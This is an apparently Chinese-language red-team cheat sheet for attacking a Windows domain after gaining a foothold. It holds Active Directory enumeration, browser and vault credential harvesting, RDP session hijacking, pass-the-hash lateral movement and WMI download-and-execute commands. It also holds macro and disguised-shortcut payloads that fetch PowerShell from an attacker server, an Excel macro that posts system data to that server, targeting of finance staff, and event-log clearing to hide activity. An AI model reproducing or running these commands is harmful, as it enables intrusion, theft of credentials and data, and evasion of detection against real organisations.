# OU列表（组织结构）
Get-ADOrganizationalUnit -Filter * | select Name, DistinguishedName

# 域用户列表（含描述字段很重要）
Get-ADUser -Filter * -Properties DisplayName, Description, EmailAddress | Format-List

# 域安全组
Get-ADGroup -Filter * | select Name, GroupScope, Description

# 用户-组关系、主机信息、ACL 权限等
SharpHound.exe -c All -domain YOURDOMAIN.local -zipfilename data.zip

# 安全日志：查看 Event ID 4624（登录）
Get-WinEvent -LogName Security | ? {$_.Id -eq 4624} | select -First 100 | Format-List

# Vault 凭据
vaultcmd /listcreds:"Windows Credentials"

# RDP历史（注册表）
reg query "HKCU\Software\Microsoft\Terminal Server Client\Servers"

# 本地有效策略
gpresult /R

# 全局策略列表
Get-GPO -All | select DisplayName, GpoStatus, CreationTime

# GPO中脚本、映射、计划任务（爆破定制逻辑）
Get-GPOReport -Name "XXX策略" -ReportType HTML -Path C:\GPO-XXX.html

# 最近被访问文件
Get-ChildItem -Path C:\Users\*\AppData\Roaming\Microsoft\Windows\Recent

# Office中最近打开的文件
dir "C:\Users\*\AppData\Roaming\Microsoft\Office\Recent"

Get-ChildItem -Path C:\Users\ -Include *.txt,*.docx -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password|vpn|账号|密码" -Encoding UTF8

# 基础收集（适用于Chrome、Firefox、Edge等主流浏览器）
./HackBrowserData -b chrome -f json -dir ./output
./HackBrowserData -b firefox -f json -dir ./output
./HackBrowserData -b edge -f json -dir ./output

# 批量收集所有浏览器数据
./HackBrowserData -b all -f json -dir ./browser_data

query user

tscon <session_id> /dest:console

# 用户最近活动的文件
Get-ChildItem -Path C:\Users\*\Desktop -Recurse -Include *.lnk | 
ForEach-Object { 
    $shell = New-Object -ComObject WScript.Shell
    $shortcut = $shell.CreateShortcut($_.FullName)
    [PSCustomObject]@{
        Name = $_.Name
        TargetPath = $shortcut.TargetPath
        WorkingDirectory = $shortcut.WorkingDirectory
        LastWriteTime = $_.LastWriteTime
    }
}

# Office文档的元数据分析
Get-ChildItem -Path C:\Users\*\Documents -Include *.docx,*.xlsx,*.pptx -Recurse |
ForEach-Object {
    $doc = New-Object -ComObject Word.Application
    $document = $doc.Documents.Open($_.FullName, $false, $true)
    [PSCustomObject]@{
        FileName = $_.Name
        Author = $document.BuiltInDocumentProperties.Item("Author").Value
        Company = $document.BuiltInDocumentProperties.Item("Company").Value
        LastModifiedBy = $document.BuiltInDocumentProperties.Item("Last Author").Value
        CreationDate = $document.BuiltInDocumentProperties.Item("Creation Date").Value
    }
    $document.Close()
    $doc.Quit()
}

# DNS缓存分析
ipconfig /displaydns | Select-String "Record Name" | 
ForEach-Object { $_.ToString().Split(":")[1].Trim() } |
Sort-Object | Get-Unique

# 持久化连接分析
netstat -an | Select-String "ESTABLISHED"

# WiFi连接历史
netsh wlan show profiles | Select-String "All User Profile"

# 最近运行的程序
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" |
Select-Object -Property * -ExcludeProperty PS*

# 跳转列表分析（显示用户最常用的文件和应用）
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Recent\AutomaticDestinations" -Filter "*.automaticDestinations-ms"

# 直接上cme，这个比较常规，就是cme组合拳上线
crackmapexec smb <Target_IP> -u <Username> -H <NTLM_Hash> -x "<command>"

# 不过就目前而言 nxc的效果会比cme好些

Invoke-WmiMethod -ComputerName  -Class Win32_Process -Name Create -ArgumentList "powershell.exe -ep bypass -c Invoke-RestMethod -Uri http:///malicious.ps1 | Invoke-Expression"

Get-Content C:\sensitive.txt | Set-Clipboard

Get-Clipboard | Invoke-Expression

Sub AutoOpen()
    Shell "powershell.exe -ep bypass -c Invoke-RestMethod -Uri http://<attacker_server>/shell.ps1 | Invoke-Expression", vbHide
End Sub

$Shell = New-Object -ComObject WScript.Shell
$Shortcut = $Shell.CreateShortcut("office365.lnk")
$Shortcut.TargetPath = "powershell.exe"
$Shortcut.Arguments = "-ep bypass -c Invoke-RestMethod -Uri http://<attacker_server>/office365.ps1 | Invoke-Expression"
$Shortcut.Save()

Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)
    Dim cmd As String
    Dim result As String
    ' 收集系统信息
    cmd = "cmd.exe /c whoami & ipconfig & tasklist"
    result = CreateObject("WScript.Shell").Exec(cmd).StdOut.ReadAll
    
    ' 方法1：通过msxml2.xmlhttp发送HTTP
    Dim http As Object
    Set http = CreateObject("MSXML2.XMLHTTP")
    http.Open "POST", "http://<attacker_server>/upload", False
    http.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
    http.Send "data=" & EncodeBase64(result) ' Base64编码数据
    
    ' 方法2：通过WebDAV或SMB保存到共享
    Dim fs As Object
    Set fs = CreateObject("Scripting.FileSystemObject")
    fs.CreateTextFile "\\<SMB_Server>\share\env.txt", True
    fs.Write result
End Sub

' Base64编码函数
Private Function EncodeBase64(text As String) As String
    Dim xml As Object
    Set xml = CreateObject("MSXML2.DOMDocument")
    Dim node As Object
    Set node = xml.createElement("base64")
    node.dataType = "bin.base64"
    node.Text = text
    EncodeBase64 = node.nodeTypedValue
End Function

snmpwalk -v2c -c public <IP> .1.3.6.1.2.1.43.18.1.1.8
→ 打印任务发起人：zhanglin.hr, lixiang.fin, huangwei.ceo

PRT-FIN-02, PRT-HR-03, PRINT-F3-CEO

# 示例：针对财务部门的定向攻击
# 1. 识别财务相关用户
$FinanceUsers = Get-ADUser -Filter * -Properties Department | 
Where-Object { $_.Department -like "*财务*" -or $_.Department -like "*Finance*" }

# 2. 分析其常用系统和工作模式
# 3. 设计贴合其工作流程的载荷投递方式

# 模拟正常用户的文件访问模式
# 在收集信息的同时，也要访问一些正常的业务文件
Get-ChildItem "C:\Users\$env:USERNAME\Documents" -Recurse |
Get-Random -Count 5 | ForEach-Object { Get-Content $_.FullName -Head 1 }

# 模拟正常的网络访问
Invoke-WebRequest -Uri "https://company-portal.com" -UseBasicParsing

# 选择性清理相关日志
wevtutil cl "Windows PowerShell"
wevtutil cl "Microsoft-Windows-PowerShell/Operational"

# 或者注入正常的日志条目来掩盖异常行为